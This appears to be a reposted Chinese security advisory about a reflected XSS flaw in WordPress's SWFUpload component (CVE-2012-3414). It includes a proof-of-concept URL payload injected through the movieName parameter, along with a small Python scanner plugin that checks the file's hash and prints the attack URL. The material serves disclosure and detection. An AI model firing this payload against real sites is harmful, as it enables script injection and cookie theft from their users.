wordpress 反射型XSS

暗月博客 2019年11月21日15:21:44评论430 views字数 1694阅读5分38秒阅读模式
摘要

XSS in SWFUpload (CVE-2012-3414) 本插件仅是一次学习性编程,只检查wp-includes/js/swfupload/swfupload.swf文件是否存在。

详细描述

XSS in SWFUpload (CVE-2012-3414) 本插件仅是一次学习性编程,只检查wp-includes/js/swfupload/swfupload.swf文件是否存在。

原文:https://nealpoole.com/blog/2012/05/xss-and- csrf-via-swf-applets-swfupload-plupload/ 对wp-includes/js/swfupload/swfupload.swf进行反编译分析,尽管swfupload.swf其对传入 ExternalInterface.call的第二个参数进行了安全编码,但对于函数名,即ExternalInterface.call的第一个参数 没有进行安全编码。 而函数名中的部分字符可控,造成xss漏洞。

多谢zero大哥的提醒,让我改进了代码,增添了hash验证的方法来识别漏洞。我目前测试了多个版本的wp,发现存在漏洞文件的hash是同一个。如果还存在不同的hash,我会在后续的测试中加进来。

漏洞证明: http://www.80sec.com/wp-includes/js/swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

漏洞危害

攻击者可窃取用户cookie或者构造CSRF。

解决方案

目前官方在最新版已经修改了该漏洞,建议升级到3.4.1及以上版本。

插件源码

  1. #!/usr/bin/env python   
  2. # -*- coding: utf-8 -*-   
  3. # Wordpress URL跨站识别  v1.0   
  4. import re   
  5. import urlparse   
  6. import md5  
  7.       
  8. def assign(service, arg):   
  9.     #只适用于wordpress网站    
  10.     #此任务由cms识别插件产生, arg为网站url    
  11.     if service != "wordpress":   
  12.         return  
  13.     return True, arg   
  14.       
  15. def audit(arg):   
  16.     url = arg   
  17.     #通过检查wordpress是否存在该url来识别是否存在xss    
  18.     code, head, res, errcode, _ = curl.curl(url + 'wp-includes/js/swfupload/swfupload.swf')   
  19.     if code == 200 and validate(res):   
  20.         security_info('Wordpress URL XSS Exits! Try '+url+'wp-includes/js/swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//')  
  21.            
  22.    
  23. def validate(res):  
  24.     val_hash = '3a1c6cc728dddc258091a601f28a9c12'  
  25.     res_md5 = md5.new(res)  
  26.     if val_hash == res_md5.hexdigest():  
  27.         return True  
  28.     else:   
  29.         return False  
  30.        
  31.    
  32.           
  33. if __name__ == '__main__':   
  34.     from dummy import *  
  35.     audit(assign('wordpress','http://www.abc.com/')[1])  

更新日期

2012-09-20 16:38:04 By owlinrye

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日15:21:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   wordpress 反射型XSShttps://cn-sec.com/archives/70930.html

发表评论

匿名网友 填写信息